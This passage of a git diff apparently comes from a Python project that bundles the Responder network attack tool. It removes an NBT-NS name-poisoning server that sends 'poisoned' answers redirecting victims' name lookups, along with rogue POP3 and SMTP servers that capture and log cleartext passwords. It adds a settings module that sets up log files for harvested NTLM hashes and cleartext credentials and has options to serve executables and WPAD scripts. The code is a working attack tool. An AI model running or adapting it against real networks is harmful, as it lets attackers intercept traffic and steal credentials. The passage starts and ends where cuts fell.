##NegoSSP Auth
|
||||
if data[0] == "\x11":
|
||||
ParseSQLHash(data,self.client_address[0])
|
||||
except Exception:
|
||||
pass
|
||||
self.request.close()
|
|
@ -1,212 +0,0 @@
|
|||
#! /usr/bin/env python2.7
|
||||
|
||||
import threading
|
||||
import socket
|
||||
import struct
|
||||
import logging
|
||||
import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("NBTNSpoisoner", formatter)
|
||||
|
||||
class NBTNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global OURIP; OURIP = ourip
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
log.debug("OURIP => {}".format(ourip))
|
||||
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
|
||||
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.debug("Error starting on port 137: {}".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
#NBT-NS answer packet.
|
||||
class NBT_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tid", ""),
|
||||
("Flags", "\x85\x00"),
|
||||
("Question", "\x00\x00"),
|
||||
("AnswerRRS", "\x00\x01"),
|
||||
("AuthorityRRS", "\x00\x00"),
|
||||
("AdditionalRRS", "\x00\x00"),
|
||||
("NbtName", ""),
|
||||
("Type", "\x00\x20"),
|
||||
("Classy", "\x00\x01"),
|
||||
("TTL", "\x00\x00\x00\xa5"),
|
||||
("Len", "\x00\x06"),
|
||||
("Flags1", "\x00\x00"),
|
||||
("IP", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["NbtName"] = data[12:46]
|
||||
self.fields["IP"] = socket.inet_aton(OURIP)
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
"\x41\x41\x00":"Workstation/Redirector Service",
|
||||
"\x42\x4c\x00":"Domain Master Browser",
|
||||
"\x42\x4d\x00":"Domain controller service",
|
||||
"\x42\x4e\x00":"Local Master Browser",
|
||||
"\x42\x4f\x00":"Browser Election Service",
|
||||
"\x43\x41\x00":"File Server Service",
|
||||
"\x41\x42\x00":"Browser Service",
|
||||
}
|
||||
|
||||
if data in Role:
|
||||
return Role[data]
|
||||
else:
|
||||
return "Service not known."
|
||||
|
||||
# Define what are we answering to.
|
||||
def Validate_NBT_NS(data,Wredirect):
|
||||
if args.analyze:
|
||||
return False
|
||||
|
||||
if NBT_NS_Role(data[43:46]) == "File Server Service.":
|
||||
return True
|
||||
|
||||
if args.nbtns == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
|
||||
return True
|
||||
|
||||
if Wredirect == True:
|
||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
if len(nbname) != 32:
|
||||
return nbname
|
||||
l = []
|
||||
for i in range(0, 32, 2):
|
||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NB(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
RespondToName = ResponderConfig['RespondToName']
|
||||
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(data[13:45])
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
return None
|
||||
|
||||
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
|
||||
return None
|
||||
|
||||
if args.analyze:
|
||||
if data[2:4] == "\x01\x10":
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
else:
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
|
||||
if RespondToSpecificHost(RespondTo) and args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if data[2:4] == "\x01\x10":
|
||||
if Validate_NBT_NS(data,args.wredir):
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
||||
else:
|
||||
if data[2:4] == "\x01\x10":
|
||||
if Validate_NBT_NS(data,args.wredir) and args.analyze == False:
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
|
@ -1,6 +1,6 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
|
@ -11,12 +11,9 @@
|
|||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
#Packet class handling all packet generation (see odict.py).
|
||||
from UserDict import DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
|
|
@ -1,34 +0,0 @@
|
|||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
|
||||
#Packet class handling all packet generation (see odict.py).
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
1277
core/responder/packets.py
Normal file
1277
core/responder/packets.py
Normal file
File diff suppressed because it is too large
Load diff
|
@ -1,65 +0,0 @@
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.common import *
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("POP3server", formatter)
|
||||
|
||||
class POP3server():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
|
||||
t = threading.Thread(name="POP3server", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(110, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
|
||||
class POPOKPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "+OK"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#POP3 server class.
|
||||
class POP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(POPOKPacket()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
log.info('POP3 User: %s'%(User))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
else :
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
192
core/responder/settings.py
Normal file
192
core/responder/settings.py
Normal file
|
@ -0,0 +1,192 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import utils
|
||||
import logging
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
__version__ = 'Responder 2.2'
|
||||
|
||||
class Settings(ConfigWatcher):
|
||||
|
||||
def __init__(self):
|
||||
self.ResponderPATH = os.path.dirname(__file__)
|
||||
self.Bind_To = '0.0.0.0'
|
||||
|
||||
def __str__(self):
|
||||
ret = 'Settings class:\n'
|
||||
for attr in dir(self):
|
||||
value = str(getattr(self, attr)).strip()
|
||||
ret += " Settings.%s = %s\n" % (attr, value)
|
||||
return ret
|
||||
|
||||
def toBool(self, str):
|
||||
return True if str.upper() == 'ON' else False
|
||||
|
||||
def ExpandIPRanges(self):
|
||||
def expand_ranges(lst):
|
||||
ret = []
|
||||
for l in lst:
|
||||
tab = l.split('.')
|
||||
x = {}
|
||||
i = 0
|
||||
for byte in tab:
|
||||
if '-' not in byte:
|
||||
x[i] = x[i+1] = int(byte)
|
||||
else:
|
||||
b = byte.split('-')
|
||||
x[i] = int(b[0])
|
||||
x[i+1] = int(b[1])
|
||||
i += 2
|
||||
for a in range(x[0], x[1]+1):
|
||||
for b in range(x[2], x[3]+1):
|
||||
for c in range(x[4], x[5]+1):
|
||||
for d in range(x[6], x[7]+1):
|
||||
ret.append('%d.%d.%d.%d' % (a, b, c, d))
|
||||
return ret
|
||||
|
||||
self.RespondTo = expand_ranges(self.RespondTo)
|
||||
self.DontRespondTo = expand_ranges(self.DontRespondTo)
|
||||
|
||||
def populate(self, options):
|
||||
|
||||
# Servers
|
||||
self.SSL_On_Off = self.toBool(self.config['Responder']['HTTPS'])
|
||||
self.SQL_On_Off = self.toBool(self.config['Responder']['SQL'])
|
||||
self.FTP_On_Off = self.toBool(self.config['Responder']['FTP'])
|
||||
self.POP_On_Off = self.toBool(self.config['Responder']['POP'])
|
||||
self.IMAP_On_Off = self.toBool(self.config['Responder']['IMAP'])
|
||||
self.SMTP_On_Off = self.toBool(self.config['Responder']['SMTP'])
|
||||
self.LDAP_On_Off = self.toBool(self.config['Responder']['LDAP'])
|
||||
self.Krb_On_Off = self.toBool(self.config['Responder']['Kerberos'])
|
||||
|
||||
# Db File
|
||||
self.DatabaseFile = './logs/responder/Responder.db'
|
||||
|
||||
# Log Files
|
||||
self.LogDir = './logs/responder'
|
||||
|
||||
if not os.path.exists(self.LogDir):
|
||||
os.mkdir(self.LogDir)
|
||||
|
||||
self.SessionLogFile = os.path.join(self.LogDir, 'Responder-Session.log')
|
||||
self.PoisonersLogFile = os.path.join(self.LogDir, 'Poisoners-Session.log')
|
||||
self.AnalyzeLogFile = os.path.join(self.LogDir, 'Analyzer-Session.log')
|
||||
|
||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
||||
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
||||
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
|
||||
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
|
||||
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
|
||||
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
|
||||
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')
|
||||
|
||||
self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt')
|
||||
self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt')
|
||||
self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt')
|
||||
self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt')
|
||||
self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt')
|
||||
self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt')
|
||||
self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt')
|
||||
self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt')
|
||||
self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt')
|
||||
self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt')
|
||||
|
||||
# HTTP Options
|
||||
self.Serve_Exe = self.toBool(self.config['Responder']['HTTP Server']['Serve-Exe'])
|
||||
self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always'])
|
||||
self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html'])
|
||||
self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename']
|
||||
self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename']
|
||||
self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName']
|
||||
self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript']
|
||||
|
||||
if not os.path.exists(self.Html_Filename):
|
||||
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
|
||||
|
||||
if not os.path.exists(self.Exe_Filename):
|
||||
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey']
|
||||
self.SSLCert = self.config['Responder']['HTTPS Server']['SSLCert']
|
||||
|
||||
# Respond to hosts
|
||||
self.RespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondTo'].strip().split(',')])
|
||||
self.RespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondToName'].strip().split(',')])
|
||||
self.DontRespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondTo'].strip().split(',')])
|
||||
self.DontRespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondToName'].strip().split(',')])
|
||||
|
||||
# CLI options
|
||||
self.Interface = options.interface
|
||||
|
||||
try:
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
self.NBTNSDomain = options.NBTNSDomain
|
||||
self.Basic = options.Basic
|
||||
self.Finger_On_Off = options.Finger
|
||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||
self.Upstream_Proxy = options.Upstream_Proxy
|
||||
self.AnalyzeMode = options.Analyze
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
self.Verbose = False
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface)
|
||||
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
self.Os_version = sys.platform
|
||||
|
||||
# Set up Challenge
|
||||
self.NumChal = self.config['Responder']['Challenge']
|
||||
|
||||
if len(self.NumChal) is not 16:
|
||||
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
|
||||
sys.exit(-1)
|
||||
|
||||
self.Challenge = ""
|
||||
for i in range(0, len(self.NumChal),2):
|
||||
self.Challenge += self.NumChal[i:i+2].decode("hex")
|
||||
|
||||
# Set up logging
|
||||
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
|
||||
logging.warning('Responder Started: {}'.format(self.CommandLine))
|
||||
#logging.warning('Responder Config: {}'.format(self))
|
||||
|
||||
Formatter = logging.Formatter('%(asctime)s - %(message)s')
|
||||
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
|
||||
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
|
||||
PLog_Handler.setLevel(logging.INFO)
|
||||
ALog_Handler.setLevel(logging.INFO)
|
||||
PLog_Handler.setFormatter(Formatter)
|
||||
ALog_Handler.setFormatter(Formatter)
|
||||
|
||||
self.PoisonersLogger = logging.getLogger('Poisoners Log')
|
||||
self.PoisonersLogger.addHandler(PLog_Handler)
|
||||
|
||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||
|
||||
global Config
|
||||
Config = Settings()
|
|
@ -1,61 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
|
||||
#SMTP Greating class
|
||||
class SMTPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "220"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "smtp01.local ESMTP"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code0", "250"),
|
||||
("Separator0", "\x2d"),
|
||||
("Message0", "smtp01.local"),
|
||||
("CRLF0", "\x0d\x0a"),
|
||||
("Code", "250"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
|
||||
("CRLF", "\x0d\x0a"),
|
||||
])
|
||||
|
||||
class SMTPAUTH1(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "VXNlcm5hbWU6"),#Username
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
class SMTPAUTH2(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "334"),
|
||||
("Separator", "\x20"),
|
||||
("Message", "UGFzc3dvcmQ6"),#Password
|
||||
("CRLF", "\x0d\x0a"),
|
||||
|
||||
])
|
||||
|
||||
|
|
@ -1,64 +0,0 @@
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from base64 import b64decode
|
||||
from SMTPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("SMTPserver", formatter)
|
||||
|
||||
class SMTPserver():
|
||||
|
||||
def serve_thread_tcp(self, port):
|
||||
try:
|
||||
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
log.error("Error starting TCP server on port {}: {}".format(port, e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
|
||||
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
|
||||
|
||||
for t in [t1, t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
#ESMTP server class.
|
||||
class ESMTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(SMTPGreating()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "EHLO":
|
||||
self.request.send(str(SMTPAUTH()))
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "AUTH":
|
||||
self.request.send(str(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
if data:
|
||||
Username = b64decode(data[:len(data)-2])
|
||||
self.request.send(str(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
if data:
|
||||
Password = b64decode(data[:len(data)-2])
|
||||
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
|
||||
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
|
||||
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
|
||||
except Exception as e:
|
||||
log.error("Error handling request: {}".format(e))
|
358
core/responder/utils.py
Normal file
358
core/responder/utils.py
Normal file
|
@ -0,0 +1,358 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
import socket
|
||||
import time
|
||||
import settings
|
||||
|
||||
try:
|
||||
import sqlite3
|
||||
except:
|
||||
print "[!] Please install python-sqlite3 extension."
|
||||
sys.exit(0)
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
|
||||
elif 'Analyze' in txt:
|
||||
settings.Config.AnalyzeLogger.warning(txt)
|
||||
|
||||
# No colors for windows...
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def text(txt):
|
||||
logging.info(txt)
|
||||
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
|
||||
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
if ClientIp not in settings.Config.DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisName(Name):
|
||||
|
||||
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
|
||||
return False
|
||||
|
||||
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
if Name.upper() not in settings.Config.DontRespondToName:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisHost(ClientIp, Name):
|
||||
return (RespondToThisIP(ClientIp) and RespondToThisName(Name))
|
||||
|
||||
def IsOsX():
|
||||
return True if settings.Config.Os_version == "darwin" else False
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
